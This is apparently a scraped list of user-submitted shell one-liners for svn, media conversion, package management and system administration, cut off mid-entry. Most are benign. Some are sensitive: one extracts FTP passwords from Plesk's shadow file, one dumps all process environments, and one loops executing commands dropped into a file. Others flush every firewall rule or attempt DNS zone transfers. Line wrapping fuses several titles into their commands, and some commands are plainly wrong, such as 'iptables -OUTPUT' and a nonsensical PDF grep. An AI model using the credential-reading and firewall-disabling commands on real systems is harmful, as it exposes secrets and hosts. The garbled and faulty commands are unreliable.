str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"; done
# Convert PDFLaTeX PDF to Illustrator-usable EPS
gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf
# Paged, colored svn diff
svn diff $* | colordiff | less -r
# Show the files that you've modified in an SVN tree
svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'
# add random color and external ip address to prompt (PS1)
IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F# '{print $1}' | tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[1;$R""m\]\h^$IP:\[\033[1;37m\]\w\$\[\033[0m\] "
# Reorder file with max 100 file per folder
find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done
# xpath function
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' }
# Install a library to a remote repository
mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url
# get the list of temps for your hard-drives
hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"'
# Analyze awk fields
tr " " "\n" | nl
# List installed Perl modules
instmodsh
# Ramp the system volume up 5%
aumix -v +5
# print latest (top 10, top 3 or *) commandlinefu.com commands
wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '&lt;x&gt;' -n -t -m rss/channel/item -o '&lt;y&gt;' -n -v description -o '&lt;/y&gt;' -n -t -o '&lt;/x&gt;' | xmlstarlet sel -T -t -m x/y -v code -n
# Outputs a 10-digit random number
echo $RANDOM$RANDOM$RANDOM |cut -c3-12
# Check whether laptop is running on battery or cable
pmset -g batt # os x version
# Ignore subdirectories in subversion
find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {} \;
# GREP a PDF file.
grep -i '[^script$]' 1.txt
# Convert .ogg to .avi
mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi
# get a random command
find $(echo "$PATH" | tr ':' ' ') -name "*program*"
# Losslessly optimize JPEG files for file size
jpegtran -optimize -outfile temp.jpg <JPEG> && mv temp.jpg "$_"
# Store your files in a pastebin with curl
curl pasted.me -sNT <file>
# replace @ symbol with new line character, to get new line character press Ctrl
+v+enter --> ^M%s/@/^v[M]/g
# Show a script or config file without comments
egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile
# View a random xkcd comic
wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
# Show the command line of a process that use a specific port (ubuntu)
port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f2); ps -Afe|grep "$pid"|grep --invert-match grep | sed "s/^\([^ ]*[ ]*\)\{7\}\(.*\)$/\2/g"
# Status of Snow Armageddon in Washington DC Metro from the command line...
/usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz009.txt
# List a phone's filesystem with bitpim
bitpim -p $PHONE_PORT ls
# shutdown pc in a 4 hours
shutdown -h $((60 * 4))
# Send current job to the background
^Z then bg
# ls to show hidden file, but not . or ..
ls -A
# Recursive grep of all c++ source under the current directory
grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" .
# Commands to setup my new harddrive! #4 Step! Try to recover as much as possibl
eddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log
# Download YouTube music playlist and convert it to mp3 files
yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4}
# Today's elimination of a world threat
rm -rf /bin/laden
# mount starting sector of the partition we want to mount
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
# Play flash videos in VLC
find -L /proc/`ps aux | grep [f]lash | awk '{print $2}'`/fd/ | xargs file -L | grep Video | awk '{sub(/:/, ""); print $1}' | xargs vlc
# Synchronize date and time with a server over ssh
date `ssh user@server date "+%y%m%d%H%M.%S"`
# get eth0 ip address
ip -4 addr show eth0 | awk ' /inet/ {print $2}'
# Download all data from Google Ngram Viewer
wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done
# #3 Step! FIrst Pass quickly!
ddrescue -n /dev/old_disk /dev/new_disk rescued.log
# Animated Desktop: electricsheep
nice -n 5 electricsheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26`
# split a string (2)
read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2
# Play a random .avi file from a media tree
unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\""
# Toggle cdrom device
eject -T [cdrom_device]
# regex to match an ip
echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])$'
# Find out my Linux distribution name and version
cat /proc/version
# archive all files containing local changes (svn)
svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz
# Generate Random Passwords
openssl rand 6 -base64
# Flatten a RGBA image onto a white background.
composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png | sed 's/[^ ]* [^ ]* \([^ ]*\) .*/\1/g'` rgb-white.png
# get IPs with a DHCP lease
egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'
# Step#1 Compare the disk spaces first!
blockdev --getsize64 /dev/sd[ab]
# create file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
# Multiple Perl Search/Replace from a file
cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i -pe #s/$1/g# xxx.sql}' | tr "#" "\'" | bash
# Joke : prints line numbers in a longest way
perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle, "<", $file or die "$0: $file: $!\n"; while (<$handle>) { print $c++, " " x 5, $_; } close($handle);' <FILE>
# Convert all your mp3 to ogg
find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o ${song%.mp3}.ogg -; done
# Collect output from a segfaulting program and keep the script from dying
(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)
# Fixing maven POM messed up by a broken release.
find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\-SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \;
# Reset the time stamps on a file
touch -acm yyyymmddhhMM.ss [file]
# Print multiline text starting and ending at specific regexps with perl
man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg'
# See how much space is used by a file or directory
du -hs /path/to/target
# Use the last command's output as input to a command without piping and bind to
it to a key sequence in bash.bind '"\C-h": "\`fc\ \-s\`"'
# get you public ip address
curl http://ifconfig.me/ip
# archlinux: updates repository mirrors according to most up to date mirrors, th
en speedsudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist
# Pulls FTP password out of Plesk database.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE sys_users.login='xxxx';"
# snapshot partition for consistent backups with minimal downtime
mksnap_ffs /var /var/.snap/snap_var_`date "+%Y-%m-%d"` ; mdconfig -a -t vnode -f /var/.snap/snap_var_`date "+%Y-%m-%d"` -u 1; mount -r /dev/md1 /mnt
# Print a row of characters across the terminal
println() {echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"}
# archlinux: shows list of files installed by a package
pacman -Ql gvim
# Create a QR code image in MECARD format
getent passwd $(whoami) | echo "$(perl -ne '/^([^:]+):[^:]+:[^:]+:[^:]+:([^ ]+) ?([^,]+)?,([^,]*),([^,]*),([^:,]*),?([^:,]*)/ and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:$1@"')$HOSTNAME;;" | qrencode -o myqr.png
# Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes
echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4)
# Convert Windows/DOS Text Files to Unix
dos2unix dostxt unixtxt
# Substitution cipher
echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ")
# Replace spaces in a filename with hyphens
for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done
# archlinux: shows which package created a given file
pacman -Qo /etc/yaourtrc
# format txt as table not joining empty columns adding header with column number
scat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; | less -S
# package most recent files in project
find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -
# Disable graphical login on OpenSolaris
svcadm disable gdm
# send incoming audio to a Icecast server (giss.tv)
rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwd giss.tv 8000 password /mountpoint.ogg
# Center text in console with simple pipe like
center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; ls --color=none / | center
# archlinux: shows list of packages that are no longer needed
pacman -Qdt
# Convert a .wav file to .sln file
sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln
# Disable all iptables rules without disconnecting yourself
iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT
# Get a summary of network devices in the system
for i in /sys/class/net/*; do e=`basename $i`; echo "# $e"; sudo ethtool $e | grep -E "Link|Speed" ; done
# for loop with leading zeros
for s in `seq -f %02.0f 5 15`; do echo $s; done
# Extract all urls from the last firefox sessionstore.js file used.
grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
# path manipulation in bash
rp() { local p; eval p=":\$$1:"; export $1=${p//:$2:/:}; }; ap() { rp "$1" "$2"; eval export $1=\$$1$2; }; pp() { rp "$1" "$2"; eval export $1=$2:\$$1; }
# Instant editing screenshot with Gimp
sleep 4; xwd > /tmp/_.xwd ; gimp /tmp/_.xwd
# List contents of jar
unzip -l file.jar
# archlinux: clears package cache of uninstalled packages
sudo pacman -Sc
# Multi-thread any command
xargs -P 3 -n 1 <COMMAND> < <FILE_LIST>
# Mark manually deleted files as deleted in svn
svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}'
# JVM Garbage Collector Stats
jstat -gc [jvmpid]
# Adds characters at the beginning of the name of a file
rename 's/.*/[it]$&/' *.pdf
# Convert Raw pictures to jpg
for img in $( ls *.CR2 ); do convert $img $img.jpg; done
# for loop with leading zero in bash 3
printf "%02u " {3..20}; echo
# Recursively search a directory tree for all .php .inc .html .htm .css .js file
s for a certain stringfind -type f -regex ".*\.\(js\|php\|inc\|htm[l]?\|css\)$" -exec grep -il 'searchstring' '{}' +
# Convert DOS newlines (CR/LF) to Unix format
dos2unix <file>
# archlinux: clear the package cache of all packages
sudo pacman -Scc
# fast find (for textfiles; uses sh, less and sed)
ff() { local a=$1; local b=$2; local c=$a*/*$b*; case $# in [01])echo usage: f1 drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p);; esac; }
# Changes a User Password via command line without promt
echo -e "new_password\nnew_password" | (passwd --stdin $USER)
# warped and shagadelic webcam view with gstreamer
gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink
# Load "missing" man pages for your stuff.
addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPATH}; }
# archlinux: remove a package completely from the system.
sudo pacman -Rns packagename
# Allows incoming traffic from specific IP address to port 80
sudo ufw allow proto tcp from 1.2.3.4 to any port 80
# Edit the /etc/sudoers config file the right way.
visudo
# Get max number of arguments
getconf ARG_MAX
# Optimal way of deleting huge numbers of files
find /path/to/dir/ -type f -exec rm {} +
# function for copy files with progress bar (using pv - pipe viewer)
cp_p() { if [ `echo "$2" | grep ".*\/$"` ]; then pv "$1" > "$2""$1"; else pv "$1" > "$2"/"$1"; fi; }
# find files ending in *.log that contain both 'foo' and 'error'
grep -l foo $(grep -l error *.log)
# Get Informed by your box that you are awesome ;)
while $i;do `notify-send -t 200 "You are awesome :)"`;sleep 60; done;
# count processes with status
ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
# Add spacer to left side of Dock
defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock
# Uptime in minute
uptime | awk -F ',' ' {print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1; min=$2; print hrs*60 + min} '
# free swap
free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2
# Show only existing executable dirs in PATH using only builtin bash commands
for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done
# Trim png files in a folder
for file in `ls *.png`; do convert -trim $file $file; done
# delete PBS jobs based on strings from qstat output
qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}'
# How many lines in your c project?
find . -type f -name *.[ch] -exec wc -l {} \;
# all out
ps -fu userid | awk '/userid/{print $2}' | xargs kill
# Add spacer to right side of Dock
defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock
# Laminate files line by line
lam -f 1.4 myfile
# Untar file with absolute pathname to relative location
pax -r -s ',^/,,' -f file.tar
# save a manpage to plaintext file
man perlcheat | col -b > perlcheat.txt
# Command to resolve name from Ip address, passing only the last field after seq
(C Class for example)seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'
# Trim png files in a folder
for file in *.png; do mogrify -trim "$file"; done
# Open Finder from the current Terminal location
open -a Finder <path>
# Get your external IP address
curl http://my-ip.cc/host.xml
# AmazonMP3 Daily Deals
wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e 's/<[^>]*>//g' -e 's/^ *//' -e 's/\&[^;]*;/ /'
# psg (ps grep) function if you don't have pgrep or don't know how to use it
psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; }
# GZip all files in a directory separately
for file in *.foo; do gzip "$file"; done
# Start delivery of mail queued on a secondary mail server.
fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example.org
# find files that contain foo, but not bar
grep -l foo *cl*.log | xargs grep -lL bar
# Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X
defaults write com.apple.terminal FocusFollowsMouse -string YES
# Get your external IP address
curl http://my-ip.cc/host.json
# Save a file you edited in vim without the needed permissions
command W :execute ':silent w !sudo tee % > /dev/null' | :edit!
# Do a quick check on the harware specifications on a set of Linux (RedHat) boxe
sclear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done
# list all hd partitions
fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"
# Watch a TiVo File On Your Computer
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536
# get disk usage sum for files of type
find . -name '*.xml' -type f -print | xargs du -ch
# Specify a file name that starts with hyphen, e.g. "-i"
rm -- -i
# List svn commits by user for a date range
svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c
# search installed files of package, that doesn't remember his name well. On rpm
systemsrpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg
# Generate secure password to userwith chpasswd
echo "encryptedpassword"|openssl passwd -1 -stdin
# Get the IP of the host your coming from when logged in remotely
echo $SSH_CLIENT | cut -f 1 -d ' '
# Virtualbox: setup hardware
VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwvirtex on --nestedpaging on
# Make a pipe organ sound using XMMS and Python
xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"`
# Extract the emoticons regex from a running skype process
S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1
# Will email [email protected] when all Rsync processes have finished.
$(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx [email protected]) > /dev/null &
# Function to split a string into an array
Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }
# If you have lots of svn working copies in one dir and want to see in which rep
ositories they are stored, this will do the trick.(for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//'`; do echo $i; svn info $i; done ) | egrep '^.\/|^URL'
# Greets the user appropriately
echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)
# Synchronize date and time with a server over ssh
date +%Y%m%d%T -s "`ssh user@server 'date "+%Y%m%d %T"'`"
# Remove all unused shared memory segments for current user
ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 }}' | xargs -n 1 ipcrm -m
# Unrar all files in a directory
for f in *.rar;do unrar e ?$f?;done
# checks if host /service is up on a host that doesn't respond to ping
while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done
# Add the time to BASH prompt
export PS1="(\@) $PS1"
# Make a quick network capture with tcpdump to a file - filename based on tcpdum
p argumentstcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap"
# get useful statistics from tcpdump (sort by ip)
tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}.[0-9]{1,}.[0-9]{1,}.[0-9]{1,}' | sort | uniq -c | sort -n
# View the list of files and directories in an archive with less.
less file.tar.gz
# colored tail
tail -f FILE | grep --color=always KEYWORD
# Get the date field from syslog for a certain set of events
grep xxxx messages | cut -d ' ' -f 1,2,3
# List contact infomation for Domain list
whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration Service Provider:/ {print} END{print "----------------\n"}'
# Watch RX/TX rate of an interface in kb/s
while :; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
# Create a P12 file, using OpenSSL
openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12
# An easter egg built into python to give you the Zen of Python
echo "import this" | python
# floating point operations in shell scripts
echo "5 k 3 5 / p" | dc
# Proxy all web traffic via ssh
Putty -d 8080 [server]
# geoip information
geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; }
# Loop over files found using 'find' (works with filenames that contain spaces)
find -name 'foo*' | while read i; do echo "$i"; done
# View All Processess Cmdlines and Environments
cd /proc&&ps a -opid=|xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s "\000" " "<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort'
# copy selected folder found recursively under src retaining the structure
find <src-path-to-search> -name "<folder-name>" | xargs -i cp -avfr --parent {} /<dest-path-to-copy>
# Calculate 1**2 + 2**2 + 3**2 + ...
N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc
# Save a file you edited in vim without the needed permissions
:%!sudo tee %
# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
killall -s 9 krunner_lock
# List all available commands
in bash hit "tab" twice and answer y
# rcsdiff: Output the differences side-by-side
rcsdiff -y myfile
# Updates file in all the zips
ls *.zip|awk '{$a="zip -fo "$1" FILENAME"; system($a);}'
# Get Google PageRank
curl pagerank.bz/yourdomain.com
# Encode a file to MPEG4 format
HandBrakeCLI -i video.avi -o video.mp4
# Ignore a specific subdir, instead of all subdirs, with ack-grep
ack -a -G '^(?!.*bar/data.*).*$' pattern
# Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P
# Console clock
while sleep 1; do echo -n "\r`date`"; done
# Replace all occurences of a pattern with another one from previous command
!!:gs/foo/bar
# amixer : raise volume and unmute if necessary
amixer -c 0 set Master 1+ unmute
# Create x11vnc server authentication file
x11vnc -storepasswd your_new_apssword ~/my_vnc_pass
# Export OPML from Google Reader
export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }
# a2p converts awk scripts to perl programs
a2p -F:
# A way to run commands on a remote computer to be displayed on the remote compu
terwhile :;do if [ ! $(ls -l commander |cut -d ' ' -f5) -eq 0 ]; then echo "Ran command: $(less commander) @ $(date +%D) $(date +%r)" >> comm_log;"$(less commander)";> commander;fi;done
# Create a tunnel from a remote server to the local machine using a specific sou
rce portsocat TCP-LISTEN:locport,fork TCP:XXX.XXX.XXX.XXX:YYY,sourceport=srcport
# How many lines in your PHP project without comments
find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l
# Get the rough (german) time from Twitter by @zurvollenstunde
curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs | sed -e 's#\ #:#'
# progress bar for cp
progr
# Paste hardware list (hwls) in html format into pastehtml.com directly from con
sole and return URI.$ pastebin(){ curl -s -S --data-urlencode "txt=$(cat)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
# rsync over ssh
rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/
# Creating sequence of number with text
seq 10 |xargs -n1 echo Printing line
# Start the x11vnc server
x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever
# Send a local file via email
{ echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ;
# Create a series of incrementing numbers in vim
:.,$!perl -pne 'for $i ("0001".."0004"){ s/XXXX/$i/ if($i == $.) }'
# Login via SSH
ssh -l <username> <server>
# Query well known ports list
portnum() { egrep "[[:space:]]$*/" /etc/services; }
# search into contents of python module
srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; };
# Copy all files. All normal files, all hidden files and all files starting with
- (minus).cp ./* .[!.]* ..?* /path/to/dir
# Eclipse needs to know the path to the local maven repository. Therefore the cl
asspath variable M2_REPO has to be set.mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo
# Geo Weather
xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT
# display the ttl of a hostname in a human readable form
function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}') }
# Dump /dev/ttyS0 on background automatically from startup
nohup cat /dev/ttyS0 | tee -a llamadas.db&
# First file editor for newbies
cat > file.txt << EOF
# list the last week's added files in xmms2's library
xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)
# Be notified about overheating of your CPU and/or motherboard
sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees"
# Find files older than X, using find.
find . -mtime +10
# So you are not sure are connected and iither your router or ethernet card are
not working.sudo tcpdump -i eth0 -n port 67 and 68
# Unix timestamp Solaris
nawk 'BEGIN {print srand()}'
# Look for process by filename in command then kill the process
ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}'`
# Search filenames with given pattern; each one is transfered via scp and if suc
cesfull the file is locally deleted. Ideal for filesystem quick maintenance'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if [[ $? -eq 0 ]]; then rm $file; fi; done'
# avi to ogv (Ogg Theora)
ffmpeg2theora input.avi
# Add user to group on OS X 10.5
sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username
# Unix timestamp Solaris
/usr/bin/truss /usr/bin/date 2>&1 | nawk -F= '/^time\(\)/ {gsub(/ /,"",$2);print $2}'
# Console clock -- Beautiful
yes 'clear;printf "\n\n`date`\n" | figlet -f starwars;sleep 1' | sh
# Fix all the commit log messages from a user of a bad subversion client
for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut -dr -f2`; do svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R file:///path/repo; perl -e 'print ".\n";' | fromdos`" file:///path/repo; done
# Remove all unused kernels with apt-get
apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {print \$2}")
# Update all packages installed via homebrew
brew update && brew install `brew outdated`
# Find given string in all files with given name or extension
find . -name "*.html" -exec grep -l 'string' {} \;
# Greets the user appropriately
echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)
# Easy to extend one-liner for cron scripts that automate filesystem checking
( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /bin/mount $TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB"
# Unix timestamp Solaris
perl -le 'print time()'
# SVN Recursive Directory/File Adder
svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd $i;else svn add $i;fi; fi;done }
# Create a booklet ps file out of a normal ps (A4 Size)
psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.booklet.ps
# mencoder convert bluray to xvid
mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi
# Number of CPU's in a system
grep -c '^$' /proc/cpuinfo
# slice a fixed number of characters from the output of a command, where the wid
th of the slice is the number of characters in $sliceslice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)-
# convert a line to a space
sed 's/.*/ /'
# Configuring a proxy for a cobbler repo
cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.100:3128"
# Remove all the files except abc in the directory
find * ! -name abc -delete
# Map \r do insert random number in vim
imap <leader>r <C-r>=system('echo "$(($RANDOM % 100))"')<cr>
# Console clock -- Beautiful 2
yes 'clear;printf "`date`\n" | figlet -f starwars | boxes;sleep 1' | sh
# Find all IP connected to my host through TCP connection and count it
netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort |uniq -c |sort -n | tail -1000 | grep -v "0.0.0.0"
# Install 4 new package files
sudo dpkg -i `ls -tr *.deb | tail -n4`
# Mount a truecrypt drive from a file from the command line non-interactively
su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"
# Emulate perl 'print "#" x 20, "\n"'
printf '%*s\n' 20 | tr ' ' '#'
# slice a fixed number of characters from the output of a command, where the wid
th of the slice is the number of characters in $sliceslice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"
# Merge PDFs with Ghostscript wrapped in a function
mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" }
# Get all URLs from webpage via Regular Expression
lynx --dump "http://www.google.com.br" | egrep -o "http:.*"
# Dns zone transfer
host -la domain.com
# Convert video type from mpg to wmv
mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts br=98 -o output.wmv input.mpg
# shell function to turn start and length in to a range suitable for using in cu
t.range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }
# print your iTunes App for iPhone/iTouch/iPad to show your friends which ones y
